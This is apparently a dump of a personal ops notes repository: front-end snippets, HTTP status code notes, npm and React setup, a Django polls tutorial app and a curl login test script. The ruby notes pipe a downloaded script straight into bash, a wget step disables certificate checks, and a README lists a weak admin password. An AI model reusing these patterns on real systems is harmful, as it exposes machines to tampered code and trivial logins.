13 | http://engineroom.trackmaven.com/blog/getting-started-drf-angularjs-part-4/ 14 | http://engineroom.trackmaven.com/blog/getting-started-drf-angularjs-part-5/ -------------------------------------------------------------------------------- /dev/frontEnd/bootstrap-treeview_exp/static/css/bootstrap-treeview.min.css: -------------------------------------------------------------------------------- 1 | .treeview .list-group-item{cursor:pointer}.treeview span.indent{margin-left:10px;margin-right:10px}.treeview span.icon{width:12px;margin-right:5px}.treeview .node-disabled{color:silver;cursor:not-allowed} -------------------------------------------------------------------------------- /dev/frontEnd/css/css技巧小结.txt: -------------------------------------------------------------------------------- 1 | css技巧小结 2 | 2017/9/5 3 | 4 | 1、表格 5 | 6 | 单双行的颜色控制: 7 | 20 | 21 | -------------------------------------------------------------------------------- /dev/frontEnd/http状态码.txt: -------------------------------------------------------------------------------- 1 | 2 | 【http状态码】 3 | 0状态码: 4 | 1 时间比较短,即表示用户刚刚要访问但临时改变主意,在服务器还没有响应的时候,主动断开请求 5 | 2 时间比较长,源站响应时间长 6 | 7 | 2xx(成功) 8 | 200(成功)服务器已成功处理了请求。 9 | 206(部分内容)服务器成功处理了部分 GET 请求。 10 | 3xx(已重定向) 11 | 301(永久移动)请求的网页已被永久移动到新位置。 12 | 302(临时移动)服务器目前正从不同位置的网页响应请求,但请求者应继续使用原来位置来进行以后的请求。 13 | 304(未修改)自从上次请求后,请求的网页未被修改过。服务器返回此响应时,不会返回网页内容。 14 | 4xx(请求错误) 15 | 401(未授权)请求要求进行身份验证。 16 | 403(已禁止)服务器拒绝请求。 17 | 404(未找到)服务器找不到请求的网页。 18 | 415(不支持的媒体类型)请求的格式不受请求页面的支持。 19 | 5xx(服务器错误) 20 | 500(服务器内部错误)服务器遇到错误,无法完成请求。 21 | 501(尚未实施)服务器不具备完成请求的功能。 22 | 502(错误网关)服务器作为网关或代理,从上游服务器收到了无效的响应。 23 | 503(服务不可用)目前无法使用服务器(由于超载或进行停机维护)。 24 | 504(网关超时)服务器作为网关或代理,未及时从上游服务器接收请求。 25 | -------------------------------------------------------------------------------- /dev/frontEnd/lang/test.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 |

503 Service Unavailable

5 |

No server is available to handle this request.

6 |
7 |

如果您看到这个页面,说明您是中国人

8 |
9 |
10 |

如果您看到这个页面,说明您是歪果仁

11 |
12 | 13 | 14 | 17 | 18 | 29 | 30 | -------------------------------------------------------------------------------- /dev/frontEnd/portal02/static/css/bootstrap-treeview.min.css: -------------------------------------------------------------------------------- 1 | .treeview .list-group-item{cursor:pointer}.treeview span.indent{margin-left:10px;margin-right:10px}.treeview span.icon{width:12px;margin-right:5px}.treeview .node-disabled{color:silver;cursor:not-allowed} -------------------------------------------------------------------------------- /dev/frontEnd/portal02/static/css/ie10-viewport-bug-workaround.css: -------------------------------------------------------------------------------- 1 | /*! 2 | * IE10 viewport hack for Surface/desktop Windows 8 bug 3 | * Copyright 2014-2015 Twitter, Inc. 4 | * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE) 5 | */ 6 | 7 | /* 8 | * See the Getting Started docs for more information: 9 | * http://getbootstrap.com/getting-started/#support-ie10-width 10 | */ 11 | @-ms-viewport { width: device-width; } 12 | @-o-viewport { width: device-width; } 13 | @viewport { width: device-width; } 14 | -------------------------------------------------------------------------------- /dev/frontEnd/portal02/static/fonts/glyphicons-halflings-regular.eot: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/opera443399/ops/063e6da1596059b09ede4dbbad6681f9499e85a7/dev/frontEnd/portal02/static/fonts/glyphicons-halflings-regular.eot -------------------------------------------------------------------------------- /dev/frontEnd/portal02/static/fonts/glyphicons-halflings-regular.ttf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/opera443399/ops/063e6da1596059b09ede4dbbad6681f9499e85a7/dev/frontEnd/portal02/static/fonts/glyphicons-halflings-regular.ttf -------------------------------------------------------------------------------- /dev/frontEnd/portal02/static/fonts/glyphicons-halflings-regular.woff: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/opera443399/ops/063e6da1596059b09ede4dbbad6681f9499e85a7/dev/frontEnd/portal02/static/fonts/glyphicons-halflings-regular.woff -------------------------------------------------------------------------------- /dev/frontEnd/portal02/static/fonts/glyphicons-halflings-regular.woff2: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/opera443399/ops/063e6da1596059b09ede4dbbad6681f9499e85a7/dev/frontEnd/portal02/static/fonts/glyphicons-halflings-regular.woff2 -------------------------------------------------------------------------------- /dev/frontEnd/portal02/static/images/logo.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/opera443399/ops/063e6da1596059b09ede4dbbad6681f9499e85a7/dev/frontEnd/portal02/static/images/logo.png -------------------------------------------------------------------------------- /dev/frontEnd/portal02/static/images/test.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/opera443399/ops/063e6da1596059b09ede4dbbad6681f9499e85a7/dev/frontEnd/portal02/static/images/test.png -------------------------------------------------------------------------------- /dev/frontEnd/portal02/static/js/ie10-viewport-bug-workaround.js: -------------------------------------------------------------------------------- 1 | /*! 2 | * IE10 viewport hack for Surface/desktop Windows 8 bug 3 | * Copyright 2014-2015 Twitter, Inc. 4 | * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE) 5 | */ 6 | 7 | // See the Getting Started docs for more information: 8 | // http://getbootstrap.com/getting-started/#support-ie10-width 9 | 10 | (function () { 11 | 'use strict'; 12 | 13 | if (navigator.userAgent.match(/IEMobile\/10\.0/)) { 14 | var msViewportStyle = document.createElement('style') 15 | msViewportStyle.appendChild( 16 | document.createTextNode( 17 | '@-ms-viewport{width:auto!important}' 18 | ) 19 | ) 20 | document.querySelector('head').appendChild(msViewportStyle) 21 | } 22 | 23 | })(); 24 | -------------------------------------------------------------------------------- /dev/frontEnd/react/初探react-指南.md: -------------------------------------------------------------------------------- 1 | # 初探react-指南 2 | 2018/11/6 3 | 4 | ### install nodejs on mac 5 | 6 | 访问: 7 | https://nodejs.org/zh-cn/ 8 | 9 | 下载稳定版本到 mac 下安装即可。 10 | 11 | 为了加速安装过程,设置仓库 12 | ```bash 13 | npm config set registry https://registry.npm.taobao.org --global 14 | 15 | ``` 16 | 17 | 18 | ### React 的项目初始化工具 19 | ```bash 20 | $ sudo npm install -g create-react-app 21 | $ npx create-react-app my-app 22 | $ cd my-app 23 | $ npm start 24 | 25 | ``` 26 | 27 | 28 | 29 | ### 构建生产版本 30 | ```bash 31 | $ npm run build 32 | 33 | ``` 34 | 35 | 36 | 37 | ### ZYXW、参考 38 | 1. [tutorial](https://reactjs.org/tutorial/tutorial.html) 39 | 2. [create-react-app](https://reactjs.org/docs/optimizing-performance.html#create-react-app) 40 | -------------------------------------------------------------------------------- /dev/frontEnd/初探npm-安装.md: -------------------------------------------------------------------------------- 1 | # 初探npm-安装 2 | 2018/12/24 3 | 4 | 5 | 注: npm 包含在 nodejs 中 6 | 7 | ### install nodejs on mac 8 | 9 | 访问: 10 | https://nodejs.org/zh-cn/ 11 | 12 | 下载稳定版本到 mac 下安装即可。 13 | 14 | 为了加速安装过程,设置仓库 15 | ```bash 16 | npm config set registry https://registry.npm.taobao.org --global 17 | 18 | ``` 19 | 20 | 或者:安装 cnpm 来替代 npm 21 | ```bash 22 | npm install -g cnpm --registry=https://registry.npm.taobao.org 23 | 24 | ``` 25 | 26 | 27 | ### 清理cache 28 | ```bash 29 | npm start --reset-cache 30 | 31 | ``` 32 | 33 | 34 | 35 | ### ZYXW、参考 36 | 1. [taobao-npm](https://npm.taobao.org/) 37 | -------------------------------------------------------------------------------- /dev/php/php-fastcgi介绍.txt: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/opera443399/ops/063e6da1596059b09ede4dbbad6681f9499e85a7/dev/php/php-fastcgi介绍.txt -------------------------------------------------------------------------------- /dev/php/php-fpm工作方式.txt: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/opera443399/ops/063e6da1596059b09ede4dbbad6681f9499e85a7/dev/php/php-fpm工作方式.txt -------------------------------------------------------------------------------- /dev/php/php查看编译参数.txt: -------------------------------------------------------------------------------- 1 | 查看编译安装的参数 2 | $ ./php -i|grep prefix 3 | 4 | 5 | 查看版本 6 | $ ./php -v 7 | 8 | 查看模块 9 | $ ./php -m -------------------------------------------------------------------------------- /dev/python/django/MTV.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/opera443399/ops/063e6da1596059b09ede4dbbad6681f9499e85a7/dev/python/django/MTV.png -------------------------------------------------------------------------------- /dev/python/django/bin/test_django_by_curl.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | # 3 | #2017/2/4 4 | 5 | domain_name='http://localhost' 6 | login_url="${domain_name}/accounts/login/" 7 | logout_url="${domain_name}/accounts/logout/" 8 | target_url="${domain_name}/hosts/load/vms" 9 | username='root' 10 | password='' 11 | f_cookies=cookies.txt 12 | curl_opts="-c ${f_cookies} -b ${f_cookies}" 13 | 14 | echo "[-] Step1: get csrftoken ..." 15 | curl -s ${curl_opts} ${login_url} >/dev/null 16 | django_token="$(grep csrftoken ${f_cookies} | awk '{print $NF}')" 17 | 18 | echo "[-] Step2: perform login ..." 19 | curl ${curl_opts} ${target_url} \ 20 | -H "X-CSRFToken: ${django_token}" \ 21 | -d "username=${username}&password=${password}" 22 | 23 | echo -e "\n[-] Step3: perform logout ..." 24 | curl -L -I ${logout_url} && rm -f ${f_cookies} 25 | -------------------------------------------------------------------------------- /dev/python/django/test-django/django-polls/LICENSE: -------------------------------------------------------------------------------- 1 | apps are distributed under the BSD license 2 | -------------------------------------------------------------------------------- /dev/python/django/test-django/django-polls/MANIFEST.in: -------------------------------------------------------------------------------- 1 | include LICENSE 2 | include README.rst 3 | recursive-include polls/static * 4 | recursive-include polls/templates * 5 | recursive-include docs * 6 | -------------------------------------------------------------------------------- /dev/python/django/test-django/django-polls/dist/django-polls-0.1.tar.gz: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/opera443399/ops/063e6da1596059b09ede4dbbad6681f9499e85a7/dev/python/django/test-django/django-polls/dist/django-polls-0.1.tar.gz -------------------------------------------------------------------------------- /dev/python/django/test-django/django-polls/django_polls.egg-info/SOURCES.txt: -------------------------------------------------------------------------------- 1 | LICENSE 2 | MANIFEST.in 3 | README.rst 4 | setup.py 5 | django_polls.egg-info/PKG-INFO 6 | django_polls.egg-info/SOURCES.txt 7 | django_polls.egg-info/dependency_links.txt 8 | django_polls.egg-info/top_level.txt 9 | polls/__init__.py 10 | polls/admin.py 11 | polls/models.py 12 | polls/tests.py 13 | polls/urls.py 14 | polls/views.py 15 | polls/static/polls/style.css 16 | polls/static/polls/images/background.png 17 | polls/templates/polls/detail.html 18 | polls/templates/polls/index.html 19 | polls/templates/polls/results.html -------------------------------------------------------------------------------- /dev/python/django/test-django/django-polls/django_polls.egg-info/dependency_links.txt: -------------------------------------------------------------------------------- 1 | 2 | -------------------------------------------------------------------------------- /dev/python/django/test-django/django-polls/django_polls.egg-info/top_level.txt: -------------------------------------------------------------------------------- 1 | polls 2 | -------------------------------------------------------------------------------- /dev/python/django/test-django/django-polls/polls/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/opera443399/ops/063e6da1596059b09ede4dbbad6681f9499e85a7/dev/python/django/test-django/django-polls/polls/__init__.py -------------------------------------------------------------------------------- /dev/python/django/test-django/django-polls/polls/__init__.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/opera443399/ops/063e6da1596059b09ede4dbbad6681f9499e85a7/dev/python/django/test-django/django-polls/polls/__init__.pyc -------------------------------------------------------------------------------- /dev/python/django/test-django/django-polls/polls/admin.py: -------------------------------------------------------------------------------- 1 | from django.contrib import admin 2 | 3 | # Register your models here. 4 | from .models import Choice, Question 5 | 6 | class ChoiceInline(admin.TabularInline): 7 | model = Choice 8 | extra = 1 9 | 10 | class QuestionAdmin(admin.ModelAdmin): 11 | fieldsets = [ 12 | (None, {'fields': ['question_text']}), 13 | ('Date information', {'fields': ['pub_date'], 'classes': ['collapse']}), 14 | ] 15 | inlines = [ChoiceInline] 16 | list_display = ('question_text', 'pub_date', 'was_published_recently') 17 | list_filter = ['pub_date'] 18 | search_fields = ['question_text'] 19 | 20 | admin.site.register(Question, QuestionAdmin) 21 | -------------------------------------------------------------------------------- /dev/python/django/test-django/django-polls/polls/admin.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/opera443399/ops/063e6da1596059b09ede4dbbad6681f9499e85a7/dev/python/django/test-django/django-polls/polls/admin.pyc -------------------------------------------------------------------------------- /dev/python/django/test-django/django-polls/polls/models.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/opera443399/ops/063e6da1596059b09ede4dbbad6681f9499e85a7/dev/python/django/test-django/django-polls/polls/models.pyc -------------------------------------------------------------------------------- /dev/python/django/test-django/django-polls/polls/static/polls/images/background.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/opera443399/ops/063e6da1596059b09ede4dbbad6681f9499e85a7/dev/python/django/test-django/django-polls/polls/static/polls/images/background.png -------------------------------------------------------------------------------- /dev/python/django/test-django/django-polls/polls/static/polls/style.css: -------------------------------------------------------------------------------- 1 | body { 2 | background: white url("images/background.png") no-repeat right bottom; 3 | } 4 | 5 | li a { 6 | color: green; 7 | } 8 | 9 | -------------------------------------------------------------------------------- /dev/python/django/test-django/django-polls/polls/templates/polls/detail.html: -------------------------------------------------------------------------------- 1 |

{{ question.question_text }}

2 | 3 | {% if error_message %}

{{ error_message }}

{% endif %} 4 | 5 |
6 | {% csrf_token %} 7 | {% for choice in question.choice_set.all %} 8 | 9 |
10 | {% endfor %} 11 | 12 |
13 | -------------------------------------------------------------------------------- /dev/python/django/test-django/django-polls/polls/templates/polls/index.html: -------------------------------------------------------------------------------- 1 | {% load staticfiles %} 2 | 3 | 4 | 5 | {% if latest_question_list %} 6 |
11 | {% else %} 12 |

No polls are available.

13 | {% endif %} 14 | -------------------------------------------------------------------------------- /dev/python/django/test-django/django-polls/polls/templates/polls/results.html: -------------------------------------------------------------------------------- 1 |

{{ question.question_text }}

2 | 3 | 8 | 9 | Vote again? 10 | -------------------------------------------------------------------------------- /dev/python/django/test-django/django-polls/polls/tests.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/opera443399/ops/063e6da1596059b09ede4dbbad6681f9499e85a7/dev/python/django/test-django/django-polls/polls/tests.pyc -------------------------------------------------------------------------------- /dev/python/django/test-django/django-polls/polls/urls.py: -------------------------------------------------------------------------------- 1 | from django.conf.urls import url 2 | 3 | from . import views 4 | 5 | app_name = 'polls' 6 | urlpatterns = [ 7 | # ex: /polls/ 8 | url(r'^$', views.IndexView.as_view(), name='index'), 9 | url(r'^(?P[0-9]+)/$', views.DetailView.as_view(), name='detail'), 10 | url(r'^(?P[0-9]+)/results/$', views.ResultsView.as_view(), name='results'), 11 | url(r'^(?P[0-9]+)/vote/$', views.vote, name='vote'), 12 | ] 13 | -------------------------------------------------------------------------------- /dev/python/django/test-django/django-polls/polls/urls.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/opera443399/ops/063e6da1596059b09ede4dbbad6681f9499e85a7/dev/python/django/test-django/django-polls/polls/urls.pyc -------------------------------------------------------------------------------- /dev/python/django/test-django/django-polls/polls/views.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/opera443399/ops/063e6da1596059b09ede4dbbad6681f9499e85a7/dev/python/django/test-django/django-polls/polls/views.pyc -------------------------------------------------------------------------------- /dev/python/django/test-django/mysite/README.rst: -------------------------------------------------------------------------------- 1 | admin 2 | ----- 3 | http://0.0.0.0/admin/ 4 | root 5 | 111111 6 | 7 | migrate 8 | ------- 9 | python manage.py makemigrations polls 10 | python manage.py sqlmigrate polls 0001 11 | python manage.py migrate 12 | 13 | start 14 | ----- 15 | python manage.py runserver 0.0.0.0:80 16 | -------------------------------------------------------------------------------- /dev/python/django/test-django/mysite/db.sqlite3: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/opera443399/ops/063e6da1596059b09ede4dbbad6681f9499e85a7/dev/python/django/test-django/mysite/db.sqlite3 -------------------------------------------------------------------------------- /dev/python/django/test-django/mysite/manage.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | import os 3 | import sys 4 | 5 | if __name__ == "__main__": 6 | os.environ.setdefault("DJANGO_SETTINGS_MODULE", "mysite.settings") 7 | 8 | from django.core.management import execute_from_command_line 9 | 10 | execute_from_command_line(sys.argv) 11 | -------------------------------------------------------------------------------- /dev/python/django/test-django/mysite/mysite/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/opera443399/ops/063e6da1596059b09ede4dbbad6681f9499e85a7/dev/python/django/test-django/mysite/mysite/__init__.py -------------------------------------------------------------------------------- /dev/python/django/test-django/mysite/mysite/__init__.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/opera443399/ops/063e6da1596059b09ede4dbbad6681f9499e85a7/dev/python/django/test-django/mysite/mysite/__init__.pyc -------------------------------------------------------------------------------- /dev/python/django/test-django/mysite/mysite/settings.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/opera443399/ops/063e6da1596059b09ede4dbbad6681f9499e85a7/dev/python/django/test-django/mysite/mysite/settings.pyc -------------------------------------------------------------------------------- /dev/python/django/test-django/mysite/mysite/urls.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/opera443399/ops/063e6da1596059b09ede4dbbad6681f9499e85a7/dev/python/django/test-django/mysite/mysite/urls.pyc -------------------------------------------------------------------------------- /dev/python/django/test-django/mysite/mysite/wsgi.py: -------------------------------------------------------------------------------- 1 | """ 2 | WSGI config for mysite project. 3 | 4 | It exposes the WSGI callable as a module-level variable named ``application``. 5 | 6 | For more information on this file, see 7 | https://docs.djangoproject.com/en/1.8/howto/deployment/wsgi/ 8 | """ 9 | 10 | import os 11 | 12 | from django.core.wsgi import get_wsgi_application 13 | 14 | os.environ.setdefault("DJANGO_SETTINGS_MODULE", "mysite.settings") 15 | 16 | application = get_wsgi_application() 17 | -------------------------------------------------------------------------------- /dev/python/django/test-django/mysite/mysite/wsgi.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/opera443399/ops/063e6da1596059b09ede4dbbad6681f9499e85a7/dev/python/django/test-django/mysite/mysite/wsgi.pyc -------------------------------------------------------------------------------- /dev/python/django/test-django/mysite/polls/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/opera443399/ops/063e6da1596059b09ede4dbbad6681f9499e85a7/dev/python/django/test-django/mysite/polls/__init__.py -------------------------------------------------------------------------------- /dev/python/django/test-django/mysite/polls/__init__.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/opera443399/ops/063e6da1596059b09ede4dbbad6681f9499e85a7/dev/python/django/test-django/mysite/polls/__init__.pyc -------------------------------------------------------------------------------- /dev/python/django/test-django/mysite/polls/admin.py: -------------------------------------------------------------------------------- 1 | from django.contrib import admin 2 | 3 | # Register your models here. 4 | from .models import Choice, Question 5 | 6 | class ChoiceInline(admin.TabularInline): 7 | model = Choice 8 | extra = 1 9 | 10 | class QuestionAdmin(admin.ModelAdmin): 11 | fieldsets = [ 12 | (None, {'fields': ['question_text']}), 13 | ('Date information', {'fields': ['pub_date'], 'classes': ['collapse']}), 14 | ] 15 | inlines = [ChoiceInline] 16 | list_display = ('question_text', 'pub_date', 'was_published_recently') 17 | list_filter = ['pub_date'] 18 | search_fields = ['question_text'] 19 | 20 | admin.site.register(Question, QuestionAdmin) 21 | -------------------------------------------------------------------------------- /dev/python/django/test-django/mysite/polls/admin.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/opera443399/ops/063e6da1596059b09ede4dbbad6681f9499e85a7/dev/python/django/test-django/mysite/polls/admin.pyc -------------------------------------------------------------------------------- /dev/python/django/test-django/mysite/polls/models.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/opera443399/ops/063e6da1596059b09ede4dbbad6681f9499e85a7/dev/python/django/test-django/mysite/polls/models.pyc -------------------------------------------------------------------------------- /dev/python/django/test-django/mysite/polls/static/polls/images/background.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/opera443399/ops/063e6da1596059b09ede4dbbad6681f9499e85a7/dev/python/django/test-django/mysite/polls/static/polls/images/background.png -------------------------------------------------------------------------------- /dev/python/django/test-django/mysite/polls/static/polls/style.css: -------------------------------------------------------------------------------- 1 | body { 2 | background: white url("images/background.png") no-repeat right bottom; 3 | } 4 | 5 | li a { 6 | color: green; 7 | } 8 | 9 | -------------------------------------------------------------------------------- /dev/python/django/test-django/mysite/polls/templates/polls/detail.html: -------------------------------------------------------------------------------- 1 |

{{ question.question_text }}

2 | 3 | {% if error_message %}

{{ error_message }}

{% endif %} 4 | 5 |
6 | {% csrf_token %} 7 | {% for choice in question.choice_set.all %} 8 | 9 |
10 | {% endfor %} 11 | 12 |
13 | -------------------------------------------------------------------------------- /dev/python/django/test-django/mysite/polls/templates/polls/index.html: -------------------------------------------------------------------------------- 1 | {% load staticfiles %} 2 | 3 | 4 | 5 | {% if latest_question_list %} 6 | 11 | {% else %} 12 |

No polls are available.

13 | {% endif %} 14 | -------------------------------------------------------------------------------- /dev/python/django/test-django/mysite/polls/templates/polls/results.html: -------------------------------------------------------------------------------- 1 |

{{ question.question_text }}

2 | 3 |
    4 | {% for choice in question.choice_set.all %} 5 |
  • {{ choice.choice_text }} -- {{ choice.votes }} vote{{ choice.votes|pluralize }}
  • 6 | {% endfor %} 7 |
8 | 9 | Vote again? 10 | -------------------------------------------------------------------------------- /dev/python/django/test-django/mysite/polls/tests.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/opera443399/ops/063e6da1596059b09ede4dbbad6681f9499e85a7/dev/python/django/test-django/mysite/polls/tests.pyc -------------------------------------------------------------------------------- /dev/python/django/test-django/mysite/polls/urls.py: -------------------------------------------------------------------------------- 1 | from django.conf.urls import url 2 | 3 | from . import views 4 | 5 | app_name = 'polls' 6 | urlpatterns = [ 7 | # ex: /polls/ 8 | url(r'^$', views.IndexView.as_view(), name='index'), 9 | url(r'^(?P[0-9]+)/$', views.DetailView.as_view(), name='detail'), 10 | url(r'^(?P[0-9]+)/results/$', views.ResultsView.as_view(), name='results'), 11 | url(r'^(?P[0-9]+)/vote/$', views.vote, name='vote'), 12 | ] 13 | -------------------------------------------------------------------------------- /dev/python/django/test-django/mysite/polls/urls.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/opera443399/ops/063e6da1596059b09ede4dbbad6681f9499e85a7/dev/python/django/test-django/mysite/polls/urls.pyc -------------------------------------------------------------------------------- /dev/python/django/test-django/mysite/polls/views.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/opera443399/ops/063e6da1596059b09ede4dbbad6681f9499e85a7/dev/python/django/test-django/mysite/polls/views.pyc -------------------------------------------------------------------------------- /dev/python/django/test-django/mysite/templates/admin/base_site.html: -------------------------------------------------------------------------------- 1 | {% extends "admin/base.html" %} 2 | 3 | {% block title %}{{ title }} | {{ site_title|default:_('Django site admin') }}{% endblock %} 4 | 5 | {% block branding %} 6 |

Polls administration

7 | {% endblock %} 8 | 9 | {% block nav-global %}{% endblock %} 10 | -------------------------------------------------------------------------------- /dev/python/setuptools.txt: -------------------------------------------------------------------------------- 1 | easy_install安装 2 | 3 | 4 | # cd /home/download/ 5 | # wget https://pypi.python.org/packages/source/s/setuptools/setuptools-0.7.4.tar.gz --no-check-certificate 6 | # tar zxvf setuptools-0.7.4.tar.gz -C /home/download/ 7 | # cd /home/download/setuptools-0.7.4/ 8 | # python setup.py install 9 | 10 | 11 | or: 12 | 13 | yum install python-pip 14 | 15 | -------------------------------------------------------------------------------- /dev/ruby/ruby.txt: -------------------------------------------------------------------------------- 1 | ruby 2 | 2017/2/16 3 | 4 | 使用rvm来管理ruby 5 | 6 | 7 | curl -sSL https://rvm.io/mpapis.asc | gpg2 --import - 8 | curl -L https://get.rvm.io | bash -s stable --ruby 9 | 10 | 重新打开一个shell 11 | # ruby -v 12 | ruby 2.4.0p0 (2016-12-24 revision 57164) [x86_64-linux] 13 | 14 | # rvm list 15 | 16 | rvm rubies 17 | 18 | =* ruby-2.4.0 [ x86_64 ] 19 | 20 | # => - current 21 | # =* - current && default 22 | # * - default --------------------------------------------------------------------------------